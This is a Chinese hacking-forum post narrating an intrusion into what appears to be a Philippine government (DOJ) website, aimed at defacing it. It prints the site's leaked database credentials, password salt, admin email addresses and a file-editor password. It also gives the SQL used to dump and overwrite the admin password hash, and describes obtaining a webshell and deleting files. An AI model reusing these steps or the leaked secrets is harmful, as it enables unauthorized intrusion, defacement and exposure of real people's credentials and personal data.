首先看了一下网站,没看出是什么程序写的,也没发现值得深入下手的地方。于是便旁注了,很快,拿到了一个旁站的shell。
这才发现,服务器支持asp,aspx,php,但是限制很多。
简单试了下没提权成功。反正拿服务器不是首要任务,首要任务是挂菊花聊天室,先挂上聊天室再提权(后来事实证明,还是先提权才能把主页挂上菊花的)。
**************************好了,正文开始*****************************
很庆幸,这个vhost网站能跨站读取源码,但是权限不够,可以用webshell跨站读取一部分网站的源码,但是不能直接拷贝或者上传文件到目录
当然,意思就是不能直接对doj.xx这个网站的目录中写入文件或者修改文件代码
简单翻了一下网站目录,没有明显的后台登陆地址的标记
登陆了一下MySQL账户,不是root,还是4.x,用处不大
这几个目录中比较可疑的是:
http://www.doj.xx/doj2.0/c0ntent/login.php
访问这个地址,这个目录明显就是后台,这货后台隐藏的也够深的。
如果这是注入拿站,拿站的人是要死的,MySQL 4.x的版本,管理员表是doj_auth_users,字段是pangalan,密码是n位SALT的SHA512加密,后台又这么深,真的是基霸管理员啊
后台隐藏这么深,我很怀疑是之前新闻说的菲律宾政府要求各部门加强网站安全性通知以后管理员抽风给做成这样的
我先看了一下登录文件login.php的代码:
if (isset($_POST['submit'])) { if (empty($_POST['user']) || empty($_POST['pass'])) { $msg = "ERROR: Please check your input!"; } /***** Calculate hashed password *****/ $hash = new Crypt_Hash('sha512'); $password = bin2hex($hash->hash(SALT.clean_field($_POST['pass'], 1))); $LOGINQUERY = "SELECT * FROM ".TBL_LOGIN." WHERE pangalan = '".clean_field(base64_encode($_POST['user']), 1)."'AND pasword = '".$password."'"; $result = mysql_query($LOGINQUERY) or $msg = "Error executing query.";
这段是密码验证部分的代码,简单来分析一下代码好了
Calculate hashed password前面的部分是验证输入的不为空,这个很简单,Calculate hashed password后面是加密密码和验证的部分,这里就比较郁闷了
pangalan应该是用户名的表段,而password明显就是密码的表段了。管理员字段是在:TBL_LOGIN 这个常量中存放的
$password这个变量是经过加密的,看加密格式:
$password = bin2hex($hash->hash(SALT.clean_field($_POST['pass'], 1)));
先将POST提交的密码一次处理(初步判断是去空格引号转义等功能)后,和SALT常量结合,然后hash加密
那么我们再登陆数据库看看,登陆信息在include.php文件中,数据库的信息如下:
define ("HOST", "localhost"); define ("USER", "dojmis"); define ("PASS", "P@ssw0rd123"); define ("DATABASENAME", "wcms1"); define ("ADMIN_EMAIL", "haroldtubangi@gmail.com"); define ("ADMIN_EMAIL", "misd.doj@gmail.com, hgtubangi@doj.gov.ph, haroldtubangi@gmail.com"); define ("SALT", "Th1sSp3rL0ngStr1ngW1llPr0t3ctMyUs3rsAg@1nst1ns3cur3P@ssw0rds"); // salt to strenghten passwords define ("TBL_LOGIN", "doj_auth_users");
用dojmis和密码P@ssw0rd123登陆数据库成功(我很怀疑P@ssw0rd123就是FTP密码)执行以下SQL语句:
select pangalan,0x3a,pasword from doj_auth_users
上面的管理员表段名也是从include.php中找出来的,自己仔细看一下
得到:bWJi:bb376d2738b4561ad15973058f7a5b420a644cf2a29e997e9a656268c2bbfa9337ea7b2032129c8e74aa13cefeaf2294d1f7a784cb5d8864a7c80ba17a10f83b
我了个去,这么长的密文,跟md5看来是没关系了,直接逆向恐怕更不可能了
那咱们就分析分析他的加密方式,根据他的加密方式,咱们自己制作一个密码,直接给他改密码好了,然后用咱们自己的密码登陆后台
这中间有个clean_field()函数,这个函数在function.php中,其实看名字就知道是去空格等操作了,所以我们直接忽视
上面的加密方式中有个SALT,那就先找SALT
在include.php文件中:
define ("SALT", "Th1sSp3rL0ngStr1ngW1llPr0t3ctMyUs3rsAg@1nst1ns3cur3P@ssw0rds");
这么长的SALT,如果不提前知道,怎么能跑的出来密码。不过好在我们已经知道了
假定我要将密码设置为:silic,那么根据他的算法,加密前先和SALT混合,就是:
Th1sSp3rL0ngStr1ngW1llPr0t3ctMyUs3rsAg@1nst1ns3cur3P@ssw0rdssilic
然后看看怎么进行hash加密
看了这行代码:
$hash = new Crypt_Hash('sha512');
应该是sha512八九不离十了。于是将
Th1sSp3rL0ngStr1ngW1llPr0t3ctMyUs3rsAg@1nst1ns3cur3P@ssw0rdssilic进行SHA512加密以后就得到:c42c6c5c1e85c1ed0237576d4ff8ef3a7c145455a350fd43a489ce92f62f0633484b8b0c9b0ba8f5cad4401ef1c5285b6396d24ba144616127f2376d61459a6a
得到了我们特定的密码的加密,然后就该修改数据库密码为我们的密码了。
在数据库中执行SQL语句:
UPDATE doj_auth_users SET pasword='c42c6c5c1e85c1ed0237576d4ff8ef3a7c145455a350fd43a489ce92f62f0633484b8b0c9b0ba8f5cad4401ef1c5285b6396d24ba144616127f2376d61459a6a' WHERE pangalan='bWJi'
就将后台的登陆密码修改为silic了
但是这还没有结束,因为我们的目的是取到Webshell
(其实这是图省事,因为咱们目的就是给他挂挂首页,取到Webshell足矣。但是。。。千万别抱这种想法,因为这个网站目测不提权是改不了主页的)
在登陆后台前,需要注意一个地方:
WHERE pangalan = '".clean_field(base64_encode($_POST['user']), 1)."'AND pasword = '.....
这里的用户名字段是pangalan,但是用户名是经过了base64加密的,数据库中的pangalan字段数据是bWJi,实际上的密码需要经过base64解密,解密后得到实际登陆用户名为:mbb
用户名解出来了,密码自己给他改上去了。登陆后台
后台很简陋(但是很牛逼,居然会封ip,而且从头至尾居然封了我好几个ip,最后一不小心把index.php文件删了,也算是解了封我ip的气)
拿到webshell的话,发现只有一个fileedit.php可以加以利用,其他都是纯数据库操作
我看了半天没看明白怎么用,两个输入框,左边长右边短
还是仔细分析一下代码:
if ($_SESSION['fe_flag'] == 1) { $f=fopen ($_SESSION['fe_filename'],"rb"); $_SESSION['fe_data']=''; while(!feof($f)) $_SESSION['fe_data'].=fread($f,filesize($_SESSION['fe_filename'])); fclose($f);
仔细搜一下,果然又有一个密码验证,当POST的变量comment为密码时,就可以操作文件了
这次看清楚了,应该是没有加密了,直接密码就是:L@br@d0r
再来看一下这个功能框里面的源码,看看哪个是comment变量:
<form name="form1" method="post" action="fileedit.php"> File: <input type="text" name="titlepage" value="" size="80" /> <input type="text" name="comment" value="" size="15" /> <br /><br /><center><input type="submit" name='getfilename' value='Get File' /></center><br /> </form>
第一个输入框是文件名(titlepage变量),第二个输入框是密码(comment变量)
当第二个框的变量通过了系统的密码验证,就将第一个变量接收并读取这个文件
那么第一个框输入test.php第二个框输入L@br@d0r就能修改test.php这个文件了
回复本帖可以看到webshell地址(我在这电脑里面翻了半天,没提权成功,谁有兴趣帮我提一下顺便发一下自己的过程我就万分感谢了,然后我继续搞下一个了)
webshell地址和聊天室地址:
[via@习科论坛-Mr.Cool]